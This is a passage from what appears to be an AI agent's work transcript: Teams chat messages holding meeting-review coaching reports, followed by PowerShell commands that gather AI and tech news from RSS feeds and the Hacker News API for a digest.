meeting control: agenda, topic boundaries, and recaps.\\n  * Clear reason-before-request communication.\\n  * Proactive timeline updates before the client asks why something is delayed.\\n  * Consistent business-impact framing before technical details.\\n\\n### 10\\\\. Suggested Improvements\\n\\n**Recommended meeting structure:**\\n\\n  1. Start: Today we need to confirm status, blockers, and next steps.\\n  2. For each topic: Current status, issue, decision needed.\\n  3. Ask one question at a time.\\n  4. After each answer: So the decision is __, owner is __, deadline is __.\\n  5. End: I will send a recap with owners, dates, and risks.\\n\\n**Useful replacement phrases:**\\n\\n  * **Instead of:** Can you give access?  \\n**Say:** To estimate accurately, I need tester access to verify the current\\nflow. Code access is not required at this stage.\\n\\n  * **Instead of:** This is done?  \\n**Say:** Can you confirm whether this feature is implemented, tested, and\\nworking on staging?\\n\\n  * **Instead of:** Why delay?  \\n**Say:** The delay is due to two risks: app approval and backend\\ncompatibility. Our fallback plan is rollback if store approval fails.\\n\\n### Final Recommendation\\n\\nThe tech lead should focus first on meeting structure and clarity, not only\\ngrammar. The biggest improvement will come from using a fixed meeting format:\\nagenda, one question at a time, recap after each topic, and final\\nowner/date/action summary. Grammar improvement is also important, especially\\nfor client-facing estimation and risk communication.\",\n>       \"created_at\": \"2026-06-11T09:47:42.336Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781171262336?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781171005304\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781171005304\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781171005304?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"**Meeting Reviewer Report** **Source:** Latest Fathom meeting: Math IQ review,\\nApr 21, 2026 https://fathom.video/calls/645205495 **Comparison context:**\\nReviewed the latest meeting transcript plus the latest 20 Jenish-led Fathom\\ninteractions where available. Recent client-facing comparison calls included\\nApr 20, 2026 and Apr 6, 2026. **Score rubric:** 1-3 Poor, 4-6 Needs\\nImprovement, 7-8 Good, 9-10 Excellent **Scores** \\\\- **Overall score:** 4.7/10\\n- Needs Improvement \\\\- **Grammar score:** 3/10 - Poor \\\\- **Communication\\nscore:** 5/10 - Needs Improvement \\\\- **Client frustration handling score:**\\n6/10 - Needs Improvement \\\\- **Client frustration risk level:** 4/10 - Low to\\nmedium in the latest internal call, higher risk in client calls when timeline\\nor access expectations are unclear **Conversation summary** The latest meeting\\nwas mostly an internal technical review for the Math IQ app. The team\\ndiscussed app status, migration from Cloud Functions to Supabase, Firebase\\npush notifications, Google login issues, TTS/audio playback bugs, grammar\\ncorrection UI, Learn Flow, Roleplay flow, referral program, scheduled\\nnotifications, and documentation needs. The meeting produced useful action\\nitems, but the discussion was difficult to follow because many requests were\\nincomplete, repeated, or missing clear ownership and deadline framing.\\n**Missed opportunities** \\\\- Start with a clear agenda: current status,\\nblockers, migration plan, bugs, owners, deadlines. \\\\- Summarize each topic\\nbefore moving to the next one. \\\\- Ask developers to confirm acceptance\\ncriteria, not just whether something is \u201cdone.\u201d \\\\- Use a visible checklist to\\navoid repeating the same questions. \\\\- In client-facing calls, explain why\\naccess or technical details are needed before asking for them. \\\\- Close with a\\nwritten recap: decision, owner, due date, and risk. **Repeated questions** \\\\-\\nRepeated \u201cdone?\u201d, \u201ccomplete?\u201d, \u201cokay?\u201d, \u201cis it clear?\u201d without a precise\\nfeature name. \\\\- Repeated checks around TTS/audio, grammar correction,\\nroleplay, and referral without a final decision statement. \\\\- Some repeated\\nclarification was necessary because the transcript and conversation were\\nunclear, but several repeats could have been avoided by summarizing after each\\nanswer. **Unclear requests** \\\\- \u201cTell us details how much complete and how\\nmuch rest\u201d should be rephrased as: \u201cPlease list completed modules, pending\\nmodules, blockers, and estimated time for each pending item.\u201d \\\\- \u201cDo you use\\nFirebase?\u201d should be followed by scope: \u201cOnly for push notifications, auth,\\ndatabase, or Cloud Functions?\u201d \\\\- \u201cIs this done?\u201d should include the exact\\nscreen, bug, expected behavior, and test result. \\\\- \u201cCheck Stripe logic\u201d\\nshould be: \u201cVerify Stripe subscription purchase, webhook update, coin\\nallocation, and failure handling.\u201d **Necessary follow-up questions vs\\nunnecessary repetition** Necessary follow-ups: \\\\- Asking for app/test access\\nbefore quoting or estimating. \\\\- Asking which backend services are still on\\nCloud Functions. \\\\- Asking whether Google login, TTS, grammar correction, and\\nRoleplay are tested. \\\\- Asking about production rollout, rollback, and user\\nmigration risk. Unnecessary repetition: \\\\- Repeating \u201ccomplete?\u201d or \u201cdone?\u201d\\nafter the same answer without narrowing the issue. \\\\- Re-asking details that\\nshould be captured in a checklist. \\\\- Continuing a topic after the\\nowner/action was already clear. **Root causes of possible client frustration**\\n\\\\- Clients may feel that the team is asking many questions without first\\nexplaining why the information is required. \\\\- Delays can feel unexplained if\\nrisks, dependencies, and exact next steps are not communicated early. \\\\-\\nTechnical leads sometimes jump directly into implementation details instead of\\nconfirming the business outcome first. \\\\- If questions are broad, the client\\nmay need to repeat information or clarify the same point multiple times.\\n**Priority issues ranked by business impact** 1\\\\. **High:** Unclear client-\\nfacing explanation can reduce trust and make the team look unsure. 2\\\\.\\n**High:** No structured meeting recap can create delivery confusion and missed\\nexpectations. 3\\\\. **High:** Weak grammar and incomplete sentences reduce\\nconfidence during estimation, negotiation, and status updates. 4\\\\. **Medium:**\\nRepeated questions increase meeting time and can frustrate clients. 5\\\\.\\n**Medium:** Missing owner/date/action formatting makes follow-up harder. 6\\\\.\\n**Low to medium:** Internal meetings are productive but inefficient when\\nagenda and checklist are absent. **Communication patterns across latest\\ninteractions** Improvements seen: \\\\- Better practical next steps in recent\\ncalls. \\\\- Better access negotiation in the Apr 20 client call: tester access\\nwas accepted when code access was not possible. \\\\- Better risk thinking in the\\nApr 6 My Ayur call around production deployment, rollback, and user migration.\\n\\\\- More consistent action-item capture in Fathom summaries. Still missing: \\\\-\\nMore polished English for client-facing explanations. \\\\- Stronger meeting\\ncontrol: agenda, topic boundaries, recaps. \\\\- Clear reason-before-request\\ncommunication. \\\\- Proactive timeline updates before the client asks why\\nsomething is delayed. \\\\- Consistent business-impact framing before technical\\ndetails. **Suggested improvements** Use this structure for every client or\\nlead meeting: 1\\\\. \u201cToday we need to confirm three things: status, blockers,\\nand next steps.\u201d 2\\\\. For each topic: \u201cCurrent status, issue, decision needed.\u201d\\n3\\\\. Ask one question at a time. 4\\\\. After each answer, say: \u201cSo the decision\\nis __, owner is __, deadline is __.\u201d 5\\\\. End with: \u201cI will send a recap with\\nowners, dates, and risks.\u201d Useful replacement phrases: \\\\- Instead of: \u201cCan you\\ngive access?\u201d Say: \u201cTo estimate accurately, I need tester access to verify the\\ncurrent flow. Code access is not required at this stage.\u201d \\\\- Instead of: \u201cThis\\nis done?\u201d Say: \u201cCan you confirm whether this feature is implemented, tested,\\nand working on staging?\u201d \\\\- Instead of: \u201cWhy delay?\u201d Say: \u201cThe delay is due to\\ntwo risks: app approval and backend compatibility. Our fallback plan is\\nrollback if store approval fails.\u201d **Final recommendation** The tech lead\\nshould focus first on meeting structure and clarity, not only grammar. The\\nbiggest improvement will come from using a fixed meeting format: agenda, one\\nquestion at a time, recap after each topic, and final owner/date/action\\nsummary. Grammar improvement is also important, especially for client-facing\\nestimation and risk communication.\",\n>       \"created_at\": \"2026-06-11T09:43:25.304Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781171005304?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781170929097\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781170929097\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170929097?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"Hii\",\n>       \"created_at\": \"2026-06-11T09:42:09.097Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170929097?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781170928939\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781170928939\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170928939?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": null,\n>       \"created_at\": \"2026-06-11T09:42:08.939Z\",\n>       \"author_name\": \"\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170928939?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781170928890\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781170928890\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170928890?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": null,\n>       \"created_at\": \"2026-06-11T09:42:08.89Z\",\n>       \"author_name\": \"\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170928890?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     }\n>   ]\n> }\n> ```\n>\n> \n>\n> The prior-history pass found 17 tech-news posts containing 192 linked stories\u2014so the duplicate boundary is broader than a normal one-week digest. I\u2019m treating these as event-level exclusions, not merely blocked URLs. The last posted digest was June 19, which makes genuinely new June 19\u201322 coverage the strongest candidate pool.\n>\n> Web search hit the provider\u2019s anti-bot wall\u2014the exact failure mode this workspace has seen before\u2014so I\u2019m switching to the proven feed route (official RSS/Atom plus Google News RSS and Hacker News) and keeping the date checks and source attribution intact.\n>\n> \nCreated a file, ran 11 commands\n>\n> - Ran `$u='https://news.google.com/rss/search?q=(AI%20OR%20artificial%20intelligence)%20when:7d&hl=en-US&gl=US&ceid=US:en'; $x=[xml](Invoke-WebRequest -Uri $u -UseBasicParsing -TimeoutSec 30).Content; $x.rss.channel.item | Select-Object -First 5 title,pubDate,link | Format-List`\n> - Wrote `./collect_news.ps1` (+51 -0)\n> - Ran `$items = .\\collect_news.ps1 | ConvertFrom-Json; $i=0; $items | ForEach-Object { $i++; [pscustomobject]@{n=$i;date=$_.published_utc.Substring(0,10);source=$_.source;title=$_.title;url=$_.link} } | ConvertTo-Csv -NoTypeInformation`\n> - Ran `$u='https://news.google.com/rss/search?q=%22Samsung%20Electronics%22%20ChatGPT%20Codex%20when:7d&hl=en-US&gl=US&ceid=US:en'; [xml]$x=(Invoke-WebRequest -Uri $u -UseBasicParsing).Content; $x.rss.channel.item | Select-Object -First 2 | ForEach-Object { $_.OuterXml }`\n> - Ran `$u='https://news.google.com/rss/articles/CBMiekFVX3lxTE90VVluclVyOVNEY3I2a2hVMzg0Ylp1VFhXa1pIdHlCd19wRUI4Z1pZZUktTUxZZnlPMjJ3YXZiRWswRzdBZENMRW02WFRYYTRRV1NxLUtwZjl0djc2dFhOZm5QdTJERUl6Q2N2eTFsQ1BfLTNXWlNwR3ZR?oc=5'; $r=Invoke-WebRequest -Uri $u -UseBasicParsing -MaximumRedirection 10 -TimeoutSec 30; [pscustomobject]@{Status=$r.StatusCode;Uri=$r.BaseResponse.RequestMessage.RequestUri.AbsoluteUri;Length=$r.Content.Length} | ConvertTo-Json`\n> - Ran `$u='https://news.google.com/rss/articles/CBMiekFVX3lxTE90VVluclVyOVNEY3I2a2hVMzg0Ylp1VFhXa1pIdHlCd19wRUI4Z1pZZUktTUxZZnlPMjJ3YXZiRWswRzdBZENMRW02WFRYYTRRV1NxLUtwZjl0djc2dFhOZm5QdTJERUl6Q2N2eTFsQ1BfLTNXWlNwR3ZR?oc=5'; $r=Invoke-WebRequest -Uri $u -UseBasicParsing; [regex]::Matches($r.Content,'https?://[^\"''<> ]+') | ForEach-Object Value | Where-Object { $_ -match 'openai\\.com' } | Select-Object -Unique -First 10`\n> - Ran `$candidates=@('https://openai.com/index/samsung-electronics-brings-chatgpt-and-codex-to-employees/','https://openai.com/index/samsung-electronics-brings-chatgpt-and-codex-to-employees','https://openai.com/index/samsung-electronics/'); foreach($u in $candidates){try{$r=Invoke-WebRequest -Uri $u -UseBasicParsing -TimeoutSec 20;[pscustomobject]@{Uri=$u;Status=$r.StatusCode;Final=$r.BaseResponse.RequestMessage.RequestUri.AbsoluteUri}}catch{[pscustomobject]@{Uri=$u;Status=$_.Exception.Response.StatusCode.value__;Final=''}}} | Format-Table -AutoSize`\n> - Ran `$out=@(); $candidates=@('https://openai.com/index/samsung-electronics-brings-chatgpt-and-codex-to-employees/','https://openai.com/index/samsung-electronics-brings-chatgpt-and-codex-to-employees','https://openai.com/index/samsung-electronics/'); foreach($u in $candidates){try{$r=Invoke-WebRequest -Uri $u -UseBasicParsing -TimeoutSec 20;$out+=[pscustomobject]@{Uri=$u;Status=$r.StatusCode;Final=$r.BaseResponse.RequestMessage.RequestUri.AbsoluteUri}}catch{$out+=[pscustomobject]@{Uri=$u;Status=$_.Exception.Response.StatusCode.value__;Final=''}}}; $out | Format-Table -AutoSize`\n> - Ran `$ts=[DateTimeOffset]::Parse('2026-06-16T00:00:00Z').ToUnixTimeSeconds(); $u=\"https://hn.algolia.com/api/v1/search?tags=story&numericFilters=created_at_i%3E$ts&hitsPerPage=30\"; $j=(Invoke-RestMethod -Uri $u -TimeoutSec 30); $j.hits | Select-Object -First 20 @{n='points';e={$_.points}},@{n='date';e={[DateTimeOffset]::FromUnixTimeSeconds($_.created_at_i).ToString('yyyy-MM-dd')}},title,url | Format-Table -Wrap -AutoSize`\n> - Ran `$urls=@('https://vickiboykis.com/2026/06/15/running-local-models-is-good-now/','https://www.midjourney.com/medical/blogpost','https://lore.org/','https://orchidfiles.com/github-repositories-distributing-malware/','https://discuss.grapheneos.org/d/36469-grapheneos-has-been-ported-to-android-17-and-official-releases-are-coming-soon','https://startupfortune.com/hyundai-takes-full-control-of-boston-dynamics-as-softbank-exits-for-325-million/','https://www.jvm-weekly.com/p/project-valhalla-explained-how-a'); foreach($u in $urls){try{$r=Invoke-WebRequest -Uri $u -UseBasicParsing -TimeoutSec 30; $d=[regex]::Match($r.Content,']+(?:name|property)=[\"''](?:description|og:description)[\"''][^>]+content=[\"'']([^\"'']+)',[System.Text.RegularExpressions.RegexOptions]::IgnoreCase).Groups[1].Value; if(-not $d){$d=[regex]::Match($r.Content,']+content=[\"'']([^\"'']+)[\"''][^>]+(?:name|property)=[\"''](?:description|og:description)[\"'']',[System.Text.RegularExpressions.RegexOptions]::IgnoreCase).Groups[1].Value}; [pscustomobject]@{url=$u;status=$r.StatusCode;description=[System.Net.WebUtility]::HtmlDecode($d)}}catch{[pscustomobject]@{url=$u;status=$_.Exception.Response.StatusCode.value__;description=$_.Exception.Message}}} | ConvertTo-Json -Depth 3`\n> - Ran `$out=@();$urls=@('https://vickiboykis.com/2026/06/15/running-local-models-is-good-now/','https://www.midjourney.com/medical/blogpost','https://lore.org/','https://orchidfiles.com/github-repositories-distributing-malware/','https://discuss.grapheneos.org/d/36469-grapheneos-has-been-ported-to-android-17-and-official-releases-are-coming-soon','https://startupfortune.com/hyundai-takes-full-control-of-boston-dynamics-as-softbank-exits-for-325-million/','https://www.jvm-weekly.com/p/project-valhalla-explained-how-a'); foreach($u in $urls){try{$r=Invoke-WebRequest -Uri $u -UseBasicParsing -TimeoutSec 30; $d=[regex]::Match($r.Content,']+(?:name|property)=[\"''](?:description|og:description)[\"''][^>]+content=[\"'']([^\"'']+)',[System.Text.RegularExpressions.RegexOptions]::IgnoreCase).Groups[1].Value; if(-not $d){$d=[regex]::Match($r.Content,']+content=[\"'']([^\"'']+)[\"''][^>]+(?:name|property)=[\"''](?:description|og:description)[\"'']',[System.Text.RegularExpressions.RegexOptions]::IgnoreCase).Groups[1].Value}; $out+=[pscustomobject]@{url=$u;status=$r.StatusCode;description=[System.Net.WebUtility]::HtmlDecode($d)}}catch{$out+=[pscustomobject]@{url=$u;status=$_.Exception.Response.StatusCode.value__;description=$_.Exception.Message}}}; $out | ConvertTo-Json -Depth 3`\n> - Ran `$u='https://news.google.com/rss/search?q=%22Midjourney%20Medical%22%20when:7d&hl=en-US&gl=US&ceid=US:en';[xml]$x=(Invoke-WebRequest -Uri $u -UseBasicParsing).Content;$x.rss.channel.item|Select-Object -First 10 title,pubDate,link|Format-List`\n>\n> \n>\n> The feed sweep was normalized to 100 distinct, in-window candidates (from 10 topical and source-focused RSS searches), and I also checked Hacker News\u2019s highest-engagement posts for the same period. The strongest additions center on large enterprise AI adoption, safer agent infrastructure, coding-agent controls, supply-chain security, open-source/runtime changes, and two major hardware/robotics moves. I\u2019m doing the final title/event similarity check now; this is catching same-event retellings such as different articles about Midjourney Medical or the Intel\u2013Apple announcement.\n>\n> MCP tool call\n>\n> codex_apps.microsoft_teams.list_chat_messages\n>\n> ```json\n> {\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"top\": 100\n> }\n> ```\n>\n> ```text\n> Action completed.\n> ```\n>\n> ```json\n> {\n>   \"messages\": [\n>     {\n>       \"message_id\": \"1781868597362\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781868597362\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781868597362?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## Concise Meeting Review \u2014 Replacement\\n\\n**Scores:** Overall **5.3/10 \u2014 Needs Improvement** | Grammar **4/10** | Communication **5/10** | Frustration handling **7/10 \u2014 Good** (no external client was evident, so this score is provisional).\\n\\n**Summary:** The team made useful decisions about architecture, bugs,\\ndocumentation, and priorities. The main weakness was unclear wording and\\nmoving between topics without confirming the decision, owner, deadline, and\\nacceptance test.\\n\\n### Top Issues\\n\\n  * **HIGH \u2014 00:02:** Unclear opening; no agenda or required outcomes.\\n  * **HIGH \u2014 03:03:** Vague status request (\u201chow much complete and how much rest\u201d) could produce unreliable estimates.\\n  * **HIGH \u2014 18:37:** Migration explanation mixed several systems and decisions without a checklist, creating rework/security risk.\\n  * **MEDIUM \u2014 25:20\u201325:56:** Repeated, conflicting discussion about tap behavior ended without a testable acceptance criterion.\\n\\n**Repeated questions:** Architecture, login, bug, and microphone checks were\\nnecessary. Generic \u201cwhat\u2019s clear?\u201d checks and repeated tap/table discussions\\nwere inefficient because nobody restated the final decision.\\n\\n### Trend Across 20 Prior Meetings\\n\\n  * **Improved:** Better handling of access boundaries, technical dependencies, release risks, and prioritization.\\n  * **Still recurring:** Unclear scope/timelines, long technical explanations, repeated clarification, and verbal requirements without written acceptance criteria.\\n\\n### Recommended Actions\\n\\n  1. Open with purpose, three outcomes, agenda, and end time.\\n  2. Ask for status as: done | remaining | blocker | owner | due date.\\n  3. Close each topic with: decision | owner | date | acceptance test.\\n  4. End with a two-minute read-back of actions and unresolved risks.\\n\\n_Client/product/contact/account/credential details were removed. Grammar\\nfindings may partly reflect multilingual speech and transcription errors._\",\n>       \"created_at\": \"2026-06-19T11:29:57.362Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781868597362?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781868451230\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781868451230\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781868451230?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## Meeting Reviewer \u2014 Most Recent Completed Meeting\\n\\n**Meeting date:** 21 Apr 2026  \\n**Review scope:** Full transcript of the selected meeting; 2 nearest prior\\nfull transcripts; summaries/action items from the other 18 preceding meetings.  \\n**Privacy:** Client, product, account, contact, and credential details have\\nbeen removed. Speaker names are replaced by roles.\\n\\n### Scorecard\\n\\n  * **Overall: 5.3/10 \u2014 Needs Improvement** (average of the three scores below)\\n  * **Grammar: 4/10 \u2014 Needs Improvement** \u2014 frequent sentence fragments, missing verbs/articles, vague pronouns, and unfinished thoughts.\\n  * **Communication: 5/10 \u2014 Needs Improvement** \u2014 useful technical decisions were reached, but questions and handoffs were often unstructured.\\n  * **Client-frustration handling: 7/10 \u2014 Good** \u2014 higher means less observed friction. No external client was evident in this meeting; the score is provisional and reflects internal confusion/repetition rather than client dissatisfaction.\\n\\n_Fairness note: the transcript contains multilingual speech and likely speech-\\nrecognition errors. Grammar observations should be treated as coaching\\nsignals, not accent judgments._\\n\\n### Conversation Summary\\n\\nThe team reviewed project status, architecture, migration work, bugs,\\ndocumentation, and feature priorities. They agreed to consolidate backend\\nwork, fix critical login/audio/grammar-correction issues, document the\\narchitecture, prioritize core learning and role-play flows, and defer lower-\\npriority notifications/referral work. The technical direction was broadly\\nsound, but the call lacked a crisp agenda, item-by-item status format,\\nacceptance criteria, and a final owner/deadline recap.\\n\\n### What Went Well\\n\\n  * **Architecture clarification:** At **02:46** , the lead asked which backend/service components were actually in use. This was a necessary question before migration decisions.\\n  * **Documentation recognized:** At **11:01** , the team requested a project document; the resulting action list captured architecture and feature documentation work.\\n  * **Functional verification:** At **28:48\u201329:04** , the team checked whether microphone and speech-correction behavior was complete instead of assuming it worked.\\n  * **Prioritization:** At **31:30\u201332:04** , lower-priority reminder/referral work was deferred so the team could focus on core functionality.\\n\\n### Priority Issues and Evidence\\n\\n  1. **HIGH \u2014 Unclear opening and meeting objective.**  \\n**Transcript 00:02:** \u201cSo you have to ask about [product] \u2026 we discussed this\\n\u2026 okay?\u201d  \\nThe call began without a clear purpose, expected decisions, or order of\\ntopics. This increases meeting time and the risk that participants solve\\ndifferent problems.  \\n**Improve:** \u201cToday we need three outcomes: current status, blockers, and\\nowners/dates for remaining work.\u201d\\n\\n  2. **HIGH \u2014 Vague status request.**  \\n**Transcript 03:03:** \u201cTell us \u2026 how much complete and how much rest.\u201d  \\nThe intent is understandable, but the request does not specify features,\\nevidence, blockers, or dates. This can produce unreliable estimates and missed\\nscope.  \\n**Improve:** \u201cFor each feature, state: done, remaining, blocker, owner, and\\ntarget date.\u201d\\n\\n  3. **HIGH \u2014 Long, unstructured architecture explanation.**  \\n**Transcript 18:37:** \u201cWe need everything in [backend] \u2026 there is no cloud\\nfunction \u2026\u201d followed by repeated services, tables, and secret-handling\\nreferences.  \\nSeveral decisions were mixed together without a clear migration checklist or\\ndefinition of done. Business risk includes configuration errors, security\\noversights, and rework.  \\n**Improve:** present \u201ccurrent state \u2192 target state \u2192 components to migrate \u2192\\nitems to remove \u2192 validation owner/date.\u201d\\n\\n  4. **HIGH \u2014 Contradictory acceptance criteria.**  \\n**Transcript 25:20\u201325:56:** \u201cLearn flow?\u201d / \u201cIt doesn\u2019t [need to be] tappable\u201d\\n/ \u201cNo, no, no.\u201d  \\nParticipants discussed the same interaction in different terms, but nobody\\nrestated the final decision. This can send development in the wrong direction.  \\n**Improve:** finish with one testable sentence: \u201cDecision: tapping a chat\\nmessage will/will not trigger X; owner Y will demo it by date Z.\u201d\\n\\n  5. **MEDIUM \u2014 Weak closed-loop confirmation.**  \\n**Transcript 01:08\u201301:52:** \u201cWhat\u2019s clear?\u201d was repeated around an audio/mute\\nproblem.  \\nRepeating a generic question does not prove shared understanding.  \\n**Improve:** \u201cPlease repeat the two actions you own and their deadlines.\u201d\\n\\n  6. **MEDIUM \u2014 Premature task closure without ownership.**  \\n**Transcript 09:49\u201310:00:** \u201cRemaining tasks are cleared\u201d followed by a\\nfragmented \u201cone, two \u2026 start \u2026\u201d instruction.  \\nThe meeting moved on before the owner, due date, and completion evidence were\\nstated.  \\n**Improve:** use a visible decision/action log throughout the call.\\n\\n  7. **LOW \u2014 Vague closing question.**  \\n**Transcript 32:22:** \u201cYou said that were doing it?\u201d  \\nThe close did not summarize decisions or invite targeted corrections.  \\n**Improve:** \u201cBefore we finish: here are the decisions, owners, and dates.\\nWhat did I miss?\u201d\\n\\n### Repeated Questions: Necessary vs. Unnecessary\\n\\n  * **Necessary:** **02:46** backend/service usage; **08:00\u201308:08** login testing; **18:08** pending bug list; **28:48\u201329:04** microphone/speech-correction verification. These reduce technical and delivery risk.\\n  * **Inefficient repetition \u2014 MEDIUM:** **01:08\u201301:52** generic \u201cwhat\u2019s clear?\u201d checks; **21:11\u201321:28** repeated table-use discussion without naming the exact data/decision; **25:20\u201325:56** repeated tap-behavior discussion without a written acceptance criterion.\\n\\n### Unclear Requests and Missed Opportunities\\n\\n  * **HIGH, 03:03:** missed the chance to request a structured feature-by-feature status report.\\n  * **HIGH, 18:37:** missed the chance to convert migration discussion into a checklist with validation and rollback criteria.\\n  * **MEDIUM, 09:49\u201310:00:** missed the chance to assign owners and dates before declaring tasks clear.\\n  * **MEDIUM, 25:20\u201325:56:** missed the chance to write one acceptance criterion and have the implementer read it back.\\n  * **LOW, 32:22:** missed the chance to close with decisions, actions, risks, and the next review date.\\n\\n### Likely Root Causes of Friction\\n\\n  * No visible agenda or shared status checklist.\\n  * Multiple questions and technical concepts combined in one sentence.\\n  * Heavy use of vague words such as \u201cthis,\u201d \u201cthat,\u201d \u201cit,\u201d and \u201cremaining\u201d without naming the component.\\n  * Too many topics\u2014architecture, bugs, UI, documentation, notifications, and referral work\u2014without timeboxing.\\n  * Decisions remained verbal instead of being converted immediately into acceptance criteria and owner/date actions.\\n\\n### Trend Across the 20 Prior Meetings\\n\\n**Improving:**\\n\\n  * The nearest prior client call showed better judgment: when source-code access was declined, the lead accepted the boundary, requested tester access and a scope document, and agreed on a quote-after-review process. The client remained cooperative.\\n  * Recent meetings increasingly captured technical decisions, blockers, staged-release/rollback thinking, and concrete action items.\\n  * The lead is improving at identifying dependencies before estimating and at prioritizing critical functionality over lower-value additions.\\n\\n**Still recurring:**\\n\\n  * **HIGH:** scope and timeline clarity. A prior March meeting also recorded that several tasks, scope, and timing remained unclear; the same pattern appears at 03:03 in the selected call.\\n  * **HIGH:** long explanations of high-risk technical changes without a short recommendation and decision recap. This appeared in both a prior production-launch discussion and the selected architecture discussion.\\n  * **MEDIUM:** repeated access/dependency clarification. Often necessary, but much of it could be handled by a pre-meeting artifact checklist.\\n  * **MEDIUM:** reliance on verbal requirements. Multiple prior meetings called for tickets, documentation, or more detailed requirements, and the selected meeting still required a missing architecture document.\\n\\n**Trend confidence: Medium.** Three meetings were reviewed from full\\ntranscripts; the other 18 historical meetings were compared through their\\nFathom summaries/action items because the connector limits full-transcript\\nretrieval to three per review.\\n\\n### Recommended Actions\\n\\n  1. **P0 \u2014 Use a 60-second opening:** purpose, three required outcomes, agenda, and end time.\\n  2. **P0 \u2014 Use one status template:** component | done | remaining | blocker | owner | due date | proof.\\n  3. **P0 \u2014 Close every topic:** \u201cDecision / Owner / Due date / Acceptance test.\u201d Ask the owner to read it back.\\n  4. **P1 \u2014 Use simpler English patterns:** one question per sentence; name the component; avoid \u201cthis/that/it\u201d when several items are being discussed.\\n  5. **P1 \u2014 Explain risks in five lines:** risk, cause, impact, options, recommendation.\\n  6. **P1 \u2014 End with a two-minute recap:** decisions, actions, unresolved risks, and next review date.\\n  7. **P2 \u2014 Measure the next five meetings:** number of repeated clarifications, actions with owner/date, unresolved decisions, and client corrections.\\n\\n**Scoring rubric:** 